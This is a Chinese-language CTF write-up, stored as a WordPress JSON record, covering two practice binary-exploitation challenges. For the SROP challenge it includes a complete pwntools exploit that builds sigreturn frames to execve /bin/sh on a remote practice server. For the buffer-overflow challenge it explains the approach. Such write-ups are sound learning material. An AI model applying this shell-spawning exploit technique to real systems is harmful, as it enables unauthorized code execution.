{"id":567,"date":"2025-08-30T15:05:01","date_gmt":"2025-08-30T07:05:01","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=567"},"modified":"2025-08-30T15:05:03","modified_gmt":"2025-08-30T07:05:03","slug":"buuctfrootersctf_2019_srop%e3%80%81picoctf_2018_buffer-overflow-0","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/30\/buuctfrootersctf_2019_srop%e3%80%81picoctf_2018_buffer-overflow-0\/","title":{"rendered":"buuctf:rootersctf_2019_srop\u3001picoctf_2018_buffer overflow 0"},"content":{"rendered":"\n


1\u3001rootersctf_2019_srop\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


64\u4f4dNX\uff0c\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


eee…\u770b\u770bida\u5427\uff0c\u4e0d\u662f\uff0c\u8fd9\u5f97\u770b\u770b\u6c47\u7f16\uff0c\u7cfb\u7edf\u8c03\u7528<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u662f\u8c03\u7528\u4e86sys_read,\u5e76\u6ca1\u6709\u4f20\u5165\u53c2\u6570\/bin\/sh,\u4e4b\u524d\u5e94\u8be5\u9047\u5230\u8fc7\uff0csrop\uff0c\u5229\u7528pwntools\uff0c\u4e4b\u524d\u662f\u9047\u5230\u8fc7Sigreturn\u8fd9\u4e2a\u77e5\u8bc6\u7684\uff0c\u8fd9\u91cc\u76f4\u63a5\u7528\u4e86\uff0c\u7b2c\u4e00\u6b21\u8c03\u7528read\u6765\u5199\u5165\/bin\/sh,\u5149\u5199\u5165\u6ca1\u6709\u7528\uff0c\u6211\u4eec\u8981\u7528\u8c03\u7528\u53f715\u5b9e\u73b0\u8c03\u7528\u3002\/bin\/sh\u53ef\u4ee5\u5199\u5728data\u6bb5\uff0c\u6211\u4eec\u770b\u770bdata\u6bb5\u7684\u5927\u5c0f\u591f\u4e0d\u591f\uff0c\u4ece0x402000\u5f00\u59cb\uff0c\u5f88\u5408\u9002\uff0c\u8fd9\u9053\u9898\u9700\u8981\u4e24\u4e2aframe<\/p>\n\n\n\n

\u6211\u4eec\u8981\u6784\u5efa\u4e00\u4e2aread<\/p>\n\n\n\n

read(0,data,0x400)<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

0x400\u591f\u591f\u7684\u4e86\uff0c\u5c31\u75280x400\u5427<\/p>\n\n\n\n
frame=SigreturnFrame()\nframe.rax=0\nframe.rdi=0\nframe.rsi=data\nframe.rdx=0x400\nframe.rip=syscall\nframe.rbp=data+0x20#\u518d\u5f00\u8f9f\u4e00\u4e2a\u6808\uff0c\u4e3a\u7b2c\u4e8c\u6b21\u6ea2\u51fa\u505a\u51c6\u5907<\/code><\/pre>\n\n\n\n

\u7b2c\u4e8c\u4e2a<\/p>\n\n\n\n
frame=SigreturnFrame()\nframe.rax=59\nframe.rdi=data\nframe.rsi=0\nframe.rdx=0\nframe.rip=pop_rax\nframe.rbp=0<\/code><\/pre>\n\n\n\n
\u63a5\u4e0b\u6765\u8bd5\u8bd5\u80fd\u4e0d\u80fd\u62ffflag<\/p>\n\n\n\n
2\u3001rootersctf_2019_srop\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",28059)\n\ndata=0x0402000\nsyscall=0x0401033 \npop_rax=0x0401032  \nsys=0x0401046\n\nframe=SigreturnFrame()\nframe.rax=0\nframe.rdi=0\nframe.rsi=data\nframe.rdx=0x400\nframe.rip=syscall\nframe.rbp=data+0x20#\u518d\u5f00\u8f9f\u4e00\u4e2a\u6808\uff0c\u4e3a\u7b2c\u4e8c\u6b21\u6ea2\u51fa\u505a\u51c6\u5907\n\npayload = flat ( [ cyclic(0x88) , pop_rax , 15 , bytes(frame) ] )\np.sendlineafter(\"Hey, can i get some feedback for the CTF?\\n\",payload)\n\npayload=[b\"\/bin\/sh\\x00\", b\"a\" * 0x20, pop_rax, 0xf]\n\nframe=SigreturnFrame()\nframe.rax=59\nframe.rdi=data\nframe.rsi=0\nframe.rdx=0\nframe.rip=sys\n\npayload.append(bytes(frame))\n#p.recvuntil(\"Hey, can i get some feedback for the CTF?\\n\")\np.sendline(flat(payload))\np.interactive()<\/code><\/pre>\n\n\n\n

\u3002\u3002\u3002\u3002\u78e8exp\u78e8\u4e86\u4e00\u4e0b\u5348<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001picoctf_2018_buffer overflow 0\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dpartial relro\u548cNX\uff0c\u8fd0\u884c\u4e00\u4e0b\u770b\u770b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

SSH\u94fe\u63a5\uff0c\u770b\u4e0d\u592a\u61c2\uff0c\u770b\u770bida<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u660e\u663e\u7684\u6253\u5f00flag.txt\u7684\u64cd\u4f5c\uff0c\u4f46\u662f\u8c03\u7528\u4e86\u51e0\u4e2a\u4e1c\u897f\uff0c\u6328\u4e2a\u513f\u770b\u770b<\/p>\n\n\n\n
sigsegv_handler<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8ddfflag\u6709\u5173\uff0c\u4f46\u662f\u6682\u65f6\u7528\u4e0d\u5230\uff0c\u770b\u770bvuln\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6709\u660e\u663e\u7684\u6ea2\u51fa\u8ff9\u8c61\u3002\u90a3\u6211\u4eec\u6ea2\u51fa\u4ee5\u540e\u7528puts\u6765\u8986\u76d6ret,\u8f93\u51fa\u5230flag\u7684\u5730\u5740\u4e0a\u53ef\u4e0d\u53ef\u4ee5\u5462<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
4\u3001picoctf_2018_buffer overflow 0\u8f93\u51faflag<\/h2>\n\n\n\n
\u554a\u8fd9\uff0c\u4e0d\u884c\uff0c\u53ea\u80fdSSH\u770b\u4e00\u4e0b\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u53ea\u9700\u8981\u6ea2\u51fa\u5c31\u4f1a\u8f93\u51faflag\uff0c\u5c31\u662fsigsegv_handler\u91cc\u6709\u9519\u8bef\u5c31\u4f1a\u6253\u5370flag<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001rootersctf_2019_srop\u5206\u6790 64\u4f4dNX\uff0c\u8fd0\u884c\u4e00\u4e0b eee…\u770b\u770bida\u5427\uff0c\u4e0d\u662f […]<\/p>\n","protected":false},"author":1,"featured_media":583,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-567","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/567","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=567"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/567\/revisions"}],"predecessor-version":[{"id":584,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/567\/revisions\/584"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/583"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=567"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=567"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=567"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}